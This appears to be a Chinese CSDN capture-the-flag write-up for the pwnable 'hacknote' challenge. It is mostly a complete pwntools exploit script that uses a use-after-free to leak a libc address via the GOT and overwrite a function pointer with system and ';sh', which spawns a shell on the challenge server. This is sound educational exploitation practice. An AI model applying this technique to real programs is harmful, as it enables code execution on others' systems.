pwnable_hacknote 5/100

该博客详细展示了如何利用Use-After-Free (UAF) 漏洞在目标系统上执行命令。首先,通过发送特定的输入触发漏洞,然后利用漏洞修改内存中的数据,将/bin/sh的地址放入堆中。接着,通过再次触发漏洞,将system函数的地址与shellcode连接起来,最终通过显示已修改的条目来执行shell命令。整个过程涉及到了内存管理、ELF文件解析和gdb调试。
摘要由CSDN通过智能技术生成

uaf漏洞利用

sh  “;”间隔执行命令

exp:

from pwn import *
from LibcSearcher import * 

local_file  = './hacknote'
# local_libc  = '/lib/x86_64-linux-gnu/libc-2.23.so'
# remote_libc = './libc-2.23.so'
 
 
select = 1

if select == 0:
    p = process(local_file)
    # libc = ELF("local_libc")
else:
    p = remote('node4.buuoj.cn',28214)
    libc = ELF("./32libc-2.23.so")

e = ELF(local_file)

context.log_level = 'debug'
context.arch = "i386"
context.os = 'linux'

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims			    :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
info_addr = lambda tag, addr        :p.info(tag + ': {:#x}'.format(addr))

def dbg(cmd=''):
     gdb.attach(p,cmd)

def add(size,content):
    ru(b"Your choice :")
    se(b'1')
    ru(b":")
    se(str(size).encode())
    ru(b":")
    se(content)

def delete(index):
    ru(b"Your choice :")
    se(b'2')
    ru(b":")
    se(str(index).encode())
    ru(b"Success")

def show(index):
    ru(b"Your choice :")
    se(b'3')
    ru(b':')
    se(str(index).encode())

bss_addr = 0x804A050

add(0x10,b'/bin/sh\x00\x00')#0
add(0x10,b'bbbb')#1
delete(1)
delete(0)
add(0x8,p32(0x804862b) + p32(e.got['puts']))#2
show(1)
addr = u32(p.recv(4))
success(hex(addr))
# libc = LibcSearcher('puts',addr)
libc_base = addr - libc.sym['puts']
success("base: "+ hex(libc_base))
sys = libc_base + libc.sym['system']
delete(2)

add(0x8,p32(sys) + b";sh\x00")
show(1)

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值